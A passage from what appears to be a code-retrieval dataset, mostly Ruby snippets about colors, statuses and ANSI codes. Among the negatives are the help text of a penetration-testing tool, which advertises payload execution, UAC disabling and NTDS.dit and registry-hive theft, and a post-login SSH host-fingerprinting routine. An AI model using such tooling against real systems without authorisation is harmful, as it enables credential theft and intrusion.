"def computer_color\n\t valid_colors = [\"r\", \"y\", \"b\", \"w\", \"c\", \"g\"] \n\t return [valid_colors[rand(0..5)],valid_colors[rand(0..5)], valid_colors[rand(0..5)], valid_colors[rand(0..5)]]\n\tend",
"def text_properties\n color_properties.select {|key, value| key == \"color\" }\n end",
"def item_statuses\n # The previous mapping wasn't always in order\n # I18n.t(:history_actions).map { |key, value| [ value ] } \n # Retrieve translations and sort\n items = I18n.t(:item_status)\n items.map { |key, value| [ value, key ] } \n end",
"def colors_greenish\n {\n :fillColor => '#47a718',\n :strokeColor => '#365470',\n :pointColor => '#f7f7f1',\n :pointStrokeColor => '#fff'\n }\n end",
"def status\n case status_id\n when ReferenceData::PO_ITEM_PREPARING\n \"<em style='color:red'>Ordering</em>\"\n when ReferenceData::PO_ITEM_SENT_TO_CENTRAL\n \"<em style='color:brown'>Sent to Central</em>\"\n when ReferenceData::PO_ITEM_SENT_TO_SUPPLIER\n \"<em style='color:green'>Sent to PO</em>\"\n when ReferenceData::PO_ITEM_UNCATEGORIZED\n \"<em style='color:red'>Uncategorized</em>\"\n end\n \n end",
"def status_color(accepted)\n if accepted == 0\n return \"style=\\\"color:red;\\\"\"\n elsif accepted == 1\n return \"style=\\\"color:gray;\\\"\"\n elsif accepted == 2\n return \"style=\\\"color:black;\\\"\"\n else\n return \"style=\\\"color:red;\\\"\"\n end\n end",
"def status_enum\n [\n [STATUSES.active],\n [STATUSES.resolved],\n [STATUSES.cancelled],\n [STATUSES.deleted]\n ]\n end",
"def getcolors(gridrow)\n AnsiColor.block(usecolor) do\n return normal, normal\n end\n end",
"def options_for_supported_statuses\n Mapping::TYPES.map do |status, type|\n [\"#{type.titleize}\", status]\n end\n end",
"def line_colors\n line_colours\n end",
"def process_options\n puts ScrumyChangeColor::ALLOWED_COLORS.join(', ') if @options.list_colors\n end",
"def colors_redish\n {\n :fillColor => '#ff4949',\n :strokeColor => '#365470',\n :pointColor => '#f7f7f1',\n :pointStrokeColor => '#fff'\n }\n end",
"def team_colors(t_name)\n game_hash.collect do |key, value|\n value.collect do |key2, value2|\n\n if game_hash[key].values.include?(t_name)\n\n if key2 == :colors\n return value2\n end\n end\n end\n end\n end",
"def palette_rgb_color\n [self.palette_red, self.palette_green, self.palette_blue]\n end",
"def init_colors\n $desc_color = \"#{GREEN}\" # color of description portion\n # color the title based on priority\n $p5color = \"#{BLUE}#{BOLD}\" \n $p4color = \"#{MAGENTA}\" \n $p3color = \"#{CYAN}#{BOLD}\" \n $p2color = \"#{BOLD}\"\n $p1color = \"#{YELLOW}#{ON_RED}\"\n #\n # color for only the type column\n $bugcolor = \"#{BLACK}#{ON_RED}\"\n $enhcolor = \"#{GREEN}\"\n $feacolor = \"#{CYAN}\"\n\n # color for row of started event\n $startedcolor = \"#{STANDOUT}\"\n\n cols = %x[tput colors] rescue 8\n cols = cols.to_i\n if cols >= 256\n $desc_color = \"\\x1b[38;5;236m\" # 256 colors, grey\n $p5color = \"\\x1b[38;5;57m\" # some kinda blue\n $p4color = \"\\x1b[38;5;239m\" # grey. 256 colors\n $p3color = \"\\x1b[38;5;244m\" # grey, 256 colors\n end\n end",
"def to_color_log\n @lines.map.with_index do |val, i|\n case val[0][:status] \n when \" \"\n \"\\033[90m#{i} #{val[0][:status]} #{val[0][:string]}\\033[0m\"\n when \"+\"\n \"\\033[32m#{i} #{val[0][:status]} #{val[0][:string]}\\033[0m\"\n when \"-\"\n \"\\033[31m#{i} #{val[0][:status]} #{val[0][:string]}\\033[0m\"\n when \"*\"\n \"\\033[36m#{i} #{val[0][:status]} #{val[0][:string]}\\033[0m\"\n end\n end.join(\"\\n\") + \"\\n\"\n end",
"def statuses(status)\n puts \"\\n#{status}\\n\".colorize(:green)\nend",
"def bright_color_methods\n color_methods.collect do |color|\n \"bright_#{color}\".to_sym\n end\n end",
"def red\n colorize(31)\n end",
"def scan_for_colors\n scan(/\\033\\[([0-9;]+)m(.+?)\\033\\[0m|([^\\033]+)/m).map do |match|\n split_colors(match)\n end\n end",
"def scan_for_colors\n scan(/\\033\\[([0-9;]+)m(.+?)\\033\\[0m|([^\\033]+)/m).map do |match|\n split_colors(match)\n end\n end",
"def get_wind_range_colors\n { 0..3 => :blue,\n 3..6 => :purple,\n 6..9 => :teal,\n 9..12 => :aqua,\n 12..15 => :yellow,\n 15..18 => :orange,\n 18..21 => :red,\n 21..999 => :pink,\n }\n end",
"def colorized?\n scan_for_colors.inject([]) do |colors, match|\n colors << match.tap(&:pop)\n end.flatten.compact.any?\n end",
"def colorized?\n scan_for_colors.inject([]) do |colors, match|\n colors << match.tap(&:pop)\n end.flatten.compact.any?\n end",
"def get_sun_range_colors\n { 0..0.20 => :green,\n 0.21..0.50 => :lime,\n 0.51..0.70 => :orange,\n 0.71..1 => :yellow\n }\n end",
"def get_colour(temps)\n\tcolours = []\n\ttemps.each do |temp|\n\t\tif temp <= 15\n\t\t\tcolours << :blue\n\t\telsif temp <= 28\n\t\t\tcolours << :green\n\t\telsif temp >= 29\n\t\t\tcolours << :red\n\t\tend\n\tend\n\tcolours\nend",
"def parse_colors\n working = dup\n color_array = []\n\n scan(/(?<!\\\\)(%((?:[fb]g?)?#[a-fA-F0-9]{6}|[a-z]+))/).each do |color|\n valid_color = color[1].validate_color\n next unless valid_color\n\n idx = working.match(/(?<!\\\\)%#{valid_color}/).begin(0)\n color = Color.attributes.include?(valid_color.to_sym) ? Color.send(valid_color) : Color.rgb(valid_color)\n color_array.push({ name: valid_color, color: color, index: idx })\n working.sub!(/(?<!\\\\)%#{valid_color}/, '')\n end\n\n { string: working, colors: color_array }\n end",
"def correct_color?(array)\n @correct_colors = array & $code_strings\n end",
"def to_ary\n [@red, @blue, @green, @alpha]\n end",
"def list_colors\n colors_raw = search_colors_shopstyle\n colors = formats_colors_hash(colors_raw)\n render json: { status: 0, data: {colors: colors} }\n end",
"def default_color_train\n %w{#5D1880 #905717 #3E841F #193FBE #9B3E15 #C22DDE #00FFFF #9200C6 #4466AA}\n end",
"def hex_color_array color_scheme\n case color_scheme\n when 'YlOrRd' then\n [\"#FFFFB2\", \"#FED976\", \"#FEB24C\", \"#FD8D3C\", \"#FC4E2A\", \"#E31A1C\", \"#B10026\"]\n when 'RdPu' then\n [\"#FEEBE2\", \"#FCC5C0\", \"#FA9FB5\", \"#F768A1\", \"#DD3497\", \"#AE017E\", \"#7A0177\"]\n when 'YlGn' then\n [\"#FFFFCC\", \"#D9F0A3\", \"#ADDD8E\", \"#78C679\", \"#41AB5D\", \"#238443\", \"#005A32\"]\n when 'YlGnBu' then\n [\"#FFFFCC\", \"#C7E9B4\", \"#7FCDBB\", \"#41B6C4\", \"#1D91C0\", \"#225EA8\", \"#0C2C84\"]\n when 'YlOrBr' then\n [\"#FFFFD4\", \"#FEE391\", \"#FEC44F\", \"#FE9929\", \"#EC7014\", \"#CC4C02\", \"#8C2D04\"]\n end\n end",
"def team_colors(team_name)\n # returns an array of team colors for team_name\n game_hash.each do |location, team_hash|\n team_hash.each do |team_keys, team_values|\n if team_hash[:team_name] == team_name && team_keys == :colors\n return team_values\n end\n end\n end\n end",
"def status_color\n if self.success && self.error_text.nil?\n return 'green'\n elsif self.success\n return 'yellow'\n else\n return 'red'\n end\n end",
"def fetch_status\n return :green if fetch_successful?\n last_statuses = fetch_events.sorted.limit(Repository::RED_STATUS_THRESHOLD).pluck(:successful).uniq\n return :unknown if last_statuses.empty?\n return :yellow if last_statuses.length > 1\n last_statuses[0] ? :green : :red\n end",
"def visionColors\n @colors = @json[\"responses\"][0][\"imagePropertiesAnnotation\"][\"dominantColors\"][\"colors\"]\n @color_rgb = []\n @color_scores = []\n\n @colors.each do |color|\n @color_rgb << color[\"color\"]\n @color_scores << color[\"score\"] * 100\n end\n\n # Find aggregare value of color scores and stretch to 100 if necessary\n color_percent = 0\n @color_scores.each { |a| color_percent+=a }\n if color_percent < 100 \n percent_diff = (100 - color_percent)\n @color_scores.map do |score|\n score = (score + (percent_diff/10))\n end\n end\n end",
"def context_list_colors(pattern = nil)\n if pattern == nil\n return $gimp_iface.ggimp_rgb_list()[1]\n elsif pattern.is_a? String\n names = $gimp_iface.ggimp_rgb_list()[1]\n names.select!{|element| element.include?(pattern)}\n return names\n else\n raise ArgumentError, \"context_list_color_names only accepts a string as an argument\"\n end\nend",
"def bg_color_methods\n color_methods.collect do |color|\n \"bg_#{color}\".to_sym\n end\n end",
"def default_labels\n labels = { 'user-story' => 'magenta', 'tech-story' => 'green' }\n %w{ bug issue }.each { |k| labels[k] = 'red' }\n %w{ improvement enhancement }.each { |k| labels[k] = 'yellow' }\n %w{ documentation docs }.each { |k| labels[k] = 'cyan' }\n labels['other'] = 'blue'\n return labels\n end",
"def constrain_to_colors(array)\n array[0] > 255 ? array[0] = 255 : array[0] < 0 ? array[0] = 0 : array[0]\n array[1] > 255 ? array[1] = 255 : array[1] < 0 ? array[1] = 0 : array[1]\n array[2] > 255 ? array[2] = 255 : array[2] < 0 ? array[2] = 0 : array[2]\n return array\n end",
"def get_temp_range_colors\n # Absolute zero? You never know.\n { -273.17..-3.899 => :blue,\n -3.9..-0.009 => :purple,\n 0..3.333 => :teal,\n 3.334..7.222 => :green,\n 7.223..12.78 => :lime,\n 12.79..18.333 => :aqua,\n 18.334..23.89 => :yellow,\n 23.90..29.44 => :orange,\n 29.45..35 => :red,\n 35.001..37.777 => :brown,\n 37.778..71 => :pink\n }\n end",
"def scrub_colors(attribute_type)\n case(attribute_type)\n when 'color_indicator'\n colors_string = self.color_indicator.join(', ')\n when 'color_identity'\n colors_string = self.color_identity.join(', ')\n when 'colors'\n colors_string = self.colors.join(', ')\n end\n color_conversion_chart = {'B' => 'Black', 'G' => 'Green', 'U' => 'Blue', 'W' => 'White', 'R' => 'Red'}\n color_conversion_chart.each do |symbol, color|\n colors_string = colors_string.gsub(symbol, color) if colors.include?(symbol)\n end\n colors_string.split(', ')\n end",
"def tokenize_color\n tokens = []\n matches = self.to_enum(:scan, /\\e\\[0;[39]\\d;49m(.*?[\\s]*)\\e\\[0m/).map{Regexp.last_match}\n\n i, istart, iend = 0, 0, 0\n match = matches[i]\n while istart < self.size\n color = \"39\"\n iend = self.size\n token = self[istart..iend]\n\n # Current token is not a match\n if match && match.begin(0) != istart\n iend = match.begin(0)-1\n token = self[istart..iend]\n istart = iend + 1\n\n # Current token is a match\n elsif match && match.begin(0) == istart\n iend = match.end(0)\n token = match.captures.first\n color = match.to_s[/\\e\\[0;(\\d+);49m.*/, 1]\n i += 1; match = matches[i]\n istart = iend\n\n # Ending\n else\n istart = iend\n end\n\n # Create token and advance\n tokens << ColorPair.new(token, color.to_i, ColorMap[color.to_i])\n end\n\n return tokens\n end",
"def crisis_color\n return text_color(17)\n end",
"def much_green?(colors) ; colors[1] > 200 ; end",
"def statuses\n return ['canceled', 'completed'] if self.status == 'paid'\n return ['canceled', 'paid'] if self.status == 'ordered'\n end",
"def colorize(* colors)\n buff = []\n colors.each{|color| buff << color_code(color)}\n buff << self << color_code(:off)\n buff.join\n end",
"def team_colors(team_name)\n game_hash.each do |location, team_data|\n\t\tif team_data[:team_name] == team_name\n\t\t\treturn team_data[:colors]\n\t\tend\n\tend\nend",
"def green\n colorize(32)\n end",
"def get_rain_range_colors\n { 0..0.10 => :blue,\n 0.11..0.20 => :purple,\n 0.21..0.30 => :teal,\n 0.31..0.40 => :green,\n 0.41..0.50 => :lime,\n 0.51..0.60 => :aqua,\n 0.61..0.70 => :yellow,\n 0.71..0.80 => :orange,\n 0.81..0.90 => :red,\n 0.91..1 => :pink\n }\n end",
"def rgb\n [red, green, blue].freeze\n end",
"def rgb\n [red, green, blue].freeze\n end",
"def collect_statuses\n ret = []\n versions.each do |v|\n s = v.statuses\n if s.exist?\n v.statuses.each do |status|\n ret << [status[\"key\"], status[\"value\"]]\n end\n end\n end\n ret\n end",
"def color\n @color ||= COLORS[label.length%COLORS.length].to_sym\n end",
"def status(color)\n code = case color\n when 'green'\n 2\n when 'yellow'\n 1\n when 'red'\n 0\n end\n \"#{code} (#{color})\"\n end",
"def status_enum\n status_list\n end",
"def statuses\n calculated = Array(read_attribute(:statuses))\n calculated.delete(Contact::OK)\n calculated.delete(Contact::LINKED)\n calculated << Contact::OK if calculated.empty?# && valid?\n calculated << Contact::LINKED if linked?\n\n calculated.uniq\n end",
"def ayty_background_list_responsible_for_style(issue, issue_id_play)\n if issue.id.to_s == issue_id_play.to_s\n return \"background: #5CACEE\"\n end\n status_id = issue.status_id.to_i\n return case status_id\n when 8,31\n \"background: #A0A0A0\"\n when 9,11\n \"background: #FF9664\"\n when 25,14\n \"background: #00C864\"\n when 22,23\n \"background: #FA5050\"\n when 34,13\n \"background: #C8FFC8\"\n when 32\n \"background: #C878C8\"\n when 15,16,17\n \"background: #508250\"\n else\n \"\"\n end\n end",
"def convert_code\n @code.map{ |num| translate_num_to_color(num) }\n end"
] |
[
"0.7453258",
"0.7098631",
"0.6880048",
"0.68631685",
"0.6662618",
"0.6608648",
"0.6596603",
"0.656664",
"0.65605634",
"0.65172577",
"0.65147156",
"0.6432875",
"0.63793206",
"0.63533807",
"0.6319983",
"0.6305622",
"0.6291686",
"0.62278354",
"0.62068564",
"0.61579996",
"0.6155631",
"0.6146271",
"0.6129147",
"0.60706747",
"0.6070613",
"0.6052019",
"0.6022699",
"0.5994734",
"0.5990884",
"0.59711385",
"0.5968857",
"0.59600437",
"0.59516764",
"0.59508765",
"0.5944932",
"0.5940559",
"0.59167457",
"0.5908219",
"0.5888987",
"0.5875664",
"0.5852768",
"0.5814772",
"0.5800532",
"0.578957",
"0.5780612",
"0.57731473",
"0.57622164",
"0.57447124",
"0.57439995",
"0.57434833",
"0.5735296",
"0.57234836",
"0.5722341",
"0.5714878",
"0.57056683",
"0.56684417",
"0.56662554",
"0.56649256",
"0.5658329",
"0.56575245",
"0.565724",
"0.565724",
"0.56539357",
"0.56414425",
"0.56414425",
"0.5641083",
"0.56205845",
"0.5611148",
"0.5607431",
"0.55838203",
"0.55774343",
"0.55672634",
"0.55603004",
"0.5551443",
"0.5550629",
"0.5530914",
"0.552452",
"0.552131",
"0.5521274",
"0.55201",
"0.55027354",
"0.55026096",
"0.5493804",
"0.549107",
"0.54703444",
"0.5466844",
"0.54623216",
"0.54606575",
"0.54584885",
"0.5451326",
"0.54509383",
"0.54384536",
"0.54384536",
"0.54306775",
"0.54306734",
"0.5426796",
"0.5418091",
"0.5411799",
"0.5410027",
"0.5409498"
] |
0.77412397
|
0
|
These helpers are just some toys if you want to try them! I pulled them out of the NSSfutureperfectCLI repo.
|
def strip_control_characters_and_excesses(string)
last = string.split("\033[2;0f").last#.gsub(/(\e\[\d+\w)|(\e\[\w)/,"")
if last.empty?
""
else
last.gsub(/(\e\[\d+\w)|(\e\[\w)/,"").gsub(" +","")
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cmd; end",
"def show_usage\n puts\n puts \"Available Commands & General Usage:\".white.underline\n puts \" config\".light_yellow + \" => \".white + \"Configure Connection Credentials\".light_yellow\n puts \" os_scan\".light_yellow + \" => \".white + \"SMB OS Discovery Scan\".light_yellow\n puts \" cat [FILE]\".light_yellow + \" => \".white + \"Display Content of Local File\".light_yellow\n puts \" local\".light_yellow + \" => \".white + \"Drop to Local OS Shell to Execute Commands\".light_yellow\n puts \" rb [CODE]\".light_yellow + \" => \".white + \"Eval Ruby Code\".light_yellow\n if @working\n puts\n # Credentialed Options\n puts \"Authenticated Options:\".white.underline\n puts \" smbclient\".light_yellow + \" => \".white + \"Drop to Interactive SMBClient Shell Session\".light_yellow\n puts \" list\".light_yellow + \" => \".white + \"List Available Shares\".light_yellow\n puts \" use [SHARE]\".light_yellow + \" => \".white + \"Use Specified Share Name\".light_yellow\n puts \" ls [DIR]\".light_yellow + \" => \".white + \"List Directory Contents\".light_yellow\n puts \" dl [FILE]\".light_yellow + \" => \".white + \"Download Remote File\".light_yellow\n puts \" up [FILE] [DIR]\".light_yellow + \" => \".white + \"Upload File to Remote Directory\".light_yellow\n puts \" rm [FILE] [DIR]\".light_yellow + \" => \".white + \"Delete File in Remote Directory\".light_yellow\n puts \" mkdir [NAME] [DIR]\".light_yellow + \" => \".white + \"Make New Directory in Remote Directory\".light_yellow\n puts \" rmdir [NAME] [DIR]\".light_yellow + \" => \".white + \"Delete Remote Directory\".light_yellow\n puts\n puts \"PSEXEC Options:\".white.underline\n puts \" os_shell\".light_yellow + \" => \".white + \"OS Pseudo Shell - Execute Multiple Commands\".light_yellow\n puts \" os_exec\".light_yellow + \" => \".white + \"Execute Single OS Command on target\".light_yellow\n puts \" os_pshexec\".light_yellow + \" => \".white + \"Execute PowerShell Payload\".light_yellow\n puts \" up_exec\".light_yellow + \" => \".white + \"Upload & Execute EXE Payload\".light_yellow\n puts \" get_hives\".light_yellow + \" => \".white + \"Download Windows Registry Hives\".light_yellow\n puts \" get_ntds\".light_yellow + \" => \".white + \"Download Active Directory NTDS.dit File from DC\".light_yellow\n puts\n puts \"MOF Options:\".white.underline\n puts \" mof_exec\".light_yellow + \" => \".white + \"Execute Single OS Command on target\".light_yellow\n puts \" mof_up\".light_yellow + \" => \".white + \"Upload & Execute EXE Payload\".light_yellow\n puts\n puts \"Fun & Enumeration:\".white.underline\n puts \" swaparoo\".light_yellow + \" => \".white + \"Windows Swaparoo Setup & Repair\".light_yellow\n puts \" uac_check\".light_yellow + \" => \".white + \"Check if UAC is Enabled\".light_yellow\n puts \" disable_uac\".light_yellow + \" => \".white + \"Disable UAC via Registry Edits\".light_yellow\n puts \" enable_uac\".light_yellow + \" => \".white + \"Re-Enable UAC via Registry Edits\".light_yellow\n puts \" domain_admin\".light_yellow + \" => \".white + \"Get List of Domain Admin Users\".light_yellow\n puts \" active_users\".light_yellow + \" => \".white + \"Get List of Logged in Users\".light_yellow\n puts\n end\n puts\n if not @working\n puts \"Use 'config' option to set & validate credentials to make more options available\".light_yellow + \"!\".white\n puts\n end\nend",
"def test_to_cmd_is_formatted_appropriately\n cmd = @cmd.to_cmd\n assert_match( /^asdoc\\s/, cmd )\n assert( cmd.include?( '-output=build/docs' ), 'Could not find output argument in to_cmd' )\n assert( cmd.include?( '-source-path+=test/fixtures/target,libs/src' ), 'Could not find source-path argument in to_cmd' )\n assert( cmd.include?( '-library-path+=libs/bin' ), 'Could not find library-path argument in to_cmd' )\n assert( cmd.include?( '-doc-sources=test/fixtures/target' ), 'Could not find doc-sources argument in to_cmd' )\n assert( cmd.include?( '-main-title=\"Testing API Documentation\"' ), 'Could not find main-title argument in to_cmd' )\n assert( cmd.include?( '-window-title=\"Testing API Documentation\"' ), 'Could not find window-title argument in to_cmd' )\n end",
"def cli_prefix; end",
"def usage\n puts \"\\nUsage: #{$PROGRAM_NAME} operation [option1] [option2]\\n\"\n puts \"\\n\\toperations: peers|replications|testfailover[or test]|testcleanup[or cleanuptest]|failover[or recovery]\"\n puts \"\\n\\te.g. #{$PROGRAM_NAME} peers\"\n puts \"\\te.g. #{$PROGRAM_NAME} replications ALL\"\n puts \"\\te.g. #{$PROGRAM_NAME} replications <VM name>\"\n puts \"\\te.g. #{$PROGRAM_NAME} testfailover [or test] <VM name>\"\n puts \"\\te.g. #{$PROGRAM_NAME} testfailover [or test] ALL\"\n puts \"\\te.g. #{$PROGRAM_NAME} testcleanup [or cleanuptest] <VM name>\"\n puts \"\\te.g. #{$PROGRAM_NAME} testcleanup [or cleanuptest] cleanuptest ALL\"\n puts \"\\te.g. #{$PROGRAM_NAME} failover [or recovery] <VM name>\"\n puts \"\\te.g. #{$PROGRAM_NAME} failover [or recovery] recovery ALL\"\n puts \"\\n\"\n \nend",
"def help\n puts \"ECTD Checker v: 0.0.1\"\n puts \"Licensed under GPLv2\"\n puts \"Contact Russell Osborne of Scilucent LLC for other uses rposborne {at} scilucent.com\"\n puts \"Usage: checkectd path\"\n exit\nend",
"def caveats\n <<~EOS\n Ogmtools has not been updated since 2004 and is no longer being developed,\n maintained or supported. There are several issues, especially on 64-bit\n architectures, which the author will not fix or accept patches for.\n Keep this in mind when deciding whether to use this software.\n EOS\n end",
"def with_cli(cli); end",
"def gather_proof\n proof = ''\n begin\n Timeout.timeout(5) do\n proof = ssh_socket.exec!(\"id\\n\").to_s\n if (proof =~ /id=/)\n proof << ssh_socket.exec!(\"uname -a\\n\").to_s\n if (proof =~ /JUNOS /)\n # We're in the SSH shell for a Juniper JunOS, we can pull the version from the cli\n # line 2 is hostname, 3 is model, 4 is the Base OS version\n proof = ssh_socket.exec!(\"cli show version\\n\").split(\"\\n\")[2..4].join(\", \").to_s\n elsif (proof =~ /Linux USG /)\n # Ubiquiti Unifi USG\n proof << ssh_socket.exec!(\"cat /etc/version\\n\").to_s.rstrip\n end\n temp_proof = ssh_socket.exec!(\"grep unifi.version /tmp/system.cfg\\n\").to_s.rstrip\n if (temp_proof =~ /unifi\\.version/)\n proof << temp_proof\n # Ubiquiti Unifi device (non-USG), possibly a switch. Tested on US-24, UAP-nanoHD\n # The /tmp/*.cfg files don't give us device info, however the info command does\n # we dont call it originally since it doesnt say unifi/ubiquiti in it and info\n # is a linux command as well\n proof << ssh_socket.exec!(\"grep board.name /etc/board.info\\n\").to_s.rstrip\n end\n else\n # Cisco IOS\n if proof =~ /Unknown command or computer name/\n proof = ssh_socket.exec!(\"ver\\n\").to_s\n # Juniper ScreenOS\n elsif proof =~ /unknown keyword/\n proof = ssh_socket.exec!(\"get chassis\\n\").to_s\n # Juniper JunOS CLI\n elsif proof =~ /unknown command: id/\n proof = ssh_socket.exec!(\"show version\\n\").split(\"\\n\")[2..4].join(\", \").to_s\n # Brocade CLI\n elsif proof =~ /Invalid input -> id/ || proof =~ /Protocol error, doesn't start with scp\\!/\n proof = ssh_socket.exec!(\"show version\\n\").to_s\n if proof =~ /Version:(?<os_version>.+).+HW: (?<hardware>)/mi\n proof = \"Model: #{hardware}, OS: #{os_version}\"\n end\n # Arista\n elsif proof =~ /% Invalid input at line 1/\n proof = ssh_socket.exec!(\"show version\\n\").split(\"\\n\")[0..1]\n proof = proof.map {|item| item.strip}\n proof = proof.join(\", \").to_s\n # Windows\n elsif proof =~ /is not recognized as an internal or external command/\n proof = ssh_socket.exec!(\"systeminfo\\n\").to_s\n /OS Name:\\s+(?<os_name>.+)$/ =~ proof\n /OS Version:\\s+(?<os_num>.+)$/ =~ proof\n if os_name && os_num\n proof = \"#{os_name.chomp} #{os_num.chomp}\"\n end\n # mikrotik\n elsif proof =~ /bad command name id \\(line 1 column 1\\)/\n proof = ssh_socket.exec!(\"/ system resource print\\n\").to_s\n /platform:\\s+(?<platform>.+)$/ =~ proof\n /board-name:\\s+(?<board>.+)$/ =~ proof\n /version:\\s+(?<version>.+)$/ =~ proof\n if version && platform && board\n proof = \"#{platform.strip} #{board.strip} #{version.strip}\"\n end\n else\n proof << ssh_socket.exec!(\"help\\n?\\n\\n\\n\").to_s\n end\n end\n end\n rescue ::Exception\n end\n proof\n end",
"def cmdarg; end",
"def cmdarg; end",
"def cmdarg; end",
"def process_commandline_args\n\n params = { :sidelength => 1, :mult => 10, :stroke_width => 1,\n :cols => 3, :rows => 3,\n :nested => 1, :nested_spacing => 0.2,\n :suppress_grid => false,\n :moveto_color => '#0000ff', :lineto_color => '#ff0000',\n :xshift => 0, :yshift => 0, :gcode => false, :do_tform => false\n }\n\n ARGV.each { |a|\n if v = a.match(/^--side-length=([0-9.]+)$/) then params[:sidelength] = v[1].to_f\n elsif v = a.match(/^--cols=([0-9]+)$/) then params[:cols] = v[1].to_i\n elsif v = a.match(/^--rows=([0-9]+)$/) then params[:rows] = v[1].to_i\n elsif v = a.match(/^--nested=([0-9]+)$/) then params[:nested] = v[1].to_i\n elsif v = a.match(/^--nested-spacing=(0?\\.[0-9]+)$/) then params[:nested_spacing] = v[1].to_f\n elsif v = a.match(/^--suppress-grid(=([01]))?$/) then params[:suppress_grid] = (v[1].nil? || v[2] == \"1\")\n elsif v = a.match(/^--mult=([.0-9e]+)$/) then params[:mult] = v[1].to_f\n elsif v = a.match(/^--stroke-width=([.0-9]+)$/) then params[:stroke_width] = v[1].to_f\n elsif v = a.match(/^--moveto-color=(none|#(\\h{3}|\\h{6}))$/)\n then params[:moveto_color] = v[1]\n elsif v = a.match(/^--lineto-color=(none|#(\\h{3}|\\h{6}))$/)\n then params[:lineto_color] = v[1]\n elsif v = a.match(/^--xshift=([-.0-9]+)$/) then params[:xshift] = v[1].to_f\n elsif v = a.match(/^--yshift=([-.0-9]+)$/) then params[:yshift] = v[1].to_f\n elsif v = a.match(/^--gcode$/) then params[:gcode] = true\n elsif v = a.match(/^--apply-maths$/) then params[:do_tform] = true\n else abort \"\\nArborting!!! -- Error: unknown argument #{a}\\n\\n\"\n end\n }\n\n params\nend",
"def helper\n return puts '\n ===================== CHANGE COORDINATES SPACE PROBES =========================\n | To run script you need to set a data of upland, actual position and commands |\n | Example: |\n | ruby change_coordinate.rb \" |\n | 5 5 |\n | 1 2 N |\n | LMLMLMLMM |\n | 3 3 E |\n | MMRMMRMRRM\" |\n | |\n | Note 1: You can use a file with extension csv or txt to run. Example: |\n | ruby change_coordinate.rb file.csv |\n | Or... |\n | ruby change_coordinate.rb file.txt |\n | |\n | Note 2: The file net to be exactly like first example. |\n | |\n | @author: fabiosoaresv |\n | @email: fabiosoares@outlook.com.br |\n ================================================================================\n '\n end",
"def bash_on_windows?; end",
"def command_found; end",
"def test_001_cmd_help\n# puts __method__\n out = cmd_help(nil, true)\n assert out.is_a?(String), \"Expected a string returned\"\n lines = out.split(\"\\n\").length \n assert lines > 15, \"Expecting lengthy help message\"\n end",
"def extract_command; end",
"def usage\n\t#puts \"\\nUsage: #{$0} operation [vapp-name] [snap-name]\\n\"\n\t#puts \"\\n\\toperation: list|get|poweron|poweroff|shutdown|reset|suspend|createsnapshot|removesnapshot\"\n\tputs \"\\te.g. vcaexplorer token\".green\n\tputs \"\\te.g. vcaexplorer plans\".green\n\tputs \"\\te.g. vcaexplorer instances\".green\n\tputs \"\\te.g. vcaexplorer instance\".green + \" <instance id>\".magenta \n\tputs \"\\te.g. vcaexplorer instance\".green + \" <instance id>\".magenta + \" computetoken\".green\n\tputs \"\\te.g. vcaexplorer instance\".green + \" <instance id>\".magenta + \" catalogs\".green\n\tputs \"\\te.g. vcaexplorer instance\".green + \" <instance id>\".magenta + \" catalog\".green + \" <catalog id>\".magenta\n\tputs \"\\te.g. vcaexplorer instance\".green + \" <instance id>\".magenta + \" vms\".green\n\tputs \"\\te.g. vcaexplorer instance\".green + \" <instance id>\".magenta + \" vapps\".green\n\tputs \"\\te.g. vcaexplorer instance\".green + \" <instance id>\".magenta + \" vdcs\".green\n\tputs \"\\te.g. vcaexplorer instance\".green + \" <instance id>\".magenta + \" vdc\".green + \" <vdc id>\".magenta\n\tputs \"\\te.g. vcaexplorer instance\".green + \" <instance id>\".magenta + \" vdc\".green + \" <vdc id>\".magenta + \" networks\".green\n\tputs \"\\te.g. vcaexplorer users\".green\n\tputs \"\\te.g. vcaexplorer servicegroups\".green\n\tputs \"\\te.g. vcaexplorer billedcosts\".green\n\tputs \"\\te.g. vcaexplorer billablecosts\".green\n\tputs \"\\te.g. vcaexplorer customquery\".green + \" <REST GET query>\".magenta + \" <ContentType>\".magenta\n\tputs \"\\n\"\n\nend",
"def user_os_complex\r\n end",
"def main(bashcmd)\n matchbook = [] # find all command matches\n ObjectSpace.each_object(OpenStruct) do |m|\n matchbook.push m if m.match.( bashcmd )\n end\n\n unless matchbook.empty?\n selection = select_from matchbook\n abort if selection == 'x'\n match = matchbook[selection.to_i]\n puts match.strike.( bashcmd )\n end\nend",
"def shell_error_string ( e )\n if e > 32\n return nil\n else\n return case e\n when 0 then \"Out of memory or resources\"\n #define ERROR_FILE_NOT_FOUND 2L\n #define SE_ERR_FNF 2\n when 2 then \"File not found\"\n #define ERROR_PATH_NOT_FOUND 3L\n #define SE_ERR_PNF 3\n when 3 then \"Path not found\"\n #define SE_ERR_ACCESSDENIED 5\n when 5 then \"Access denied\"\n #define SE_ERR_OOM 8\n when 8 then \"Not enough memory\"\n #define ERROR_BAD_FORMAT 11L\n when 11 then \"Invalid exe\"\n #define SE_ERR_SHARE 26\n when 26 then \"Sharing violation\"\n #define SE_ERR_ASSOCINCOMPLETE 27\n when 27 then \"Invalid file association\"\n #define SE_ERR_DDETIMEOUT 28\n when 28 then \"DDE timeout\"\n #define SE_ERR_DDEFAIL 29\n when 29 then \"DDE fail\"\n #define SE_ERR_DDEBUSY 30\n when 30 then \"DDE busy\"\n #define SE_ERR_NOASSOC 31\n when 31 then \"No file association\"\n #define SE_ERR_DLLNOTFOUND 32\n when 32 then \"DLL not found\"\n else \"Unspecified error\"\n end # case\n end # else\nend",
"def check_command_line\n if (ARGV.length != 2)\n usage\n exit 2\n end\n\n if $options[\"daemon\"]\n $options[\"daemon\"] = File.expand_path($options[\"daemon\"], File.dirname(__FILE__))\n unless is_writable_dir? $options[\"daemon\"]\n usage\n $stderr.puts \"Can not create a file in the daemon directory: %s\" % [$options[\"daemon\"]]\n exit 5\n end\n end\n\n $topdir = $options[\"daemon\"] || File.expand_path(File.dirname(__FILE__))\n\n if $options[\"player-log-dir\"]\n $options[\"player-log-dir\"] = File.expand_path($options[\"player-log-dir\"], $topdir)\n unless is_writable_dir?($options[\"player-log-dir\"])\n usage\n $stderr.puts \"Can not write a file in the player log dir: %s\" % [$options[\"player-log-dir\"]]\n exit 3\n end \n end\n\n if $options[\"pid-file\"] \n $options[\"pid-file\"] = File.expand_path($options[\"pid-file\"], $topdir)\n unless ShogiServer::is_writable_file? $options[\"pid-file\"]\n usage\n 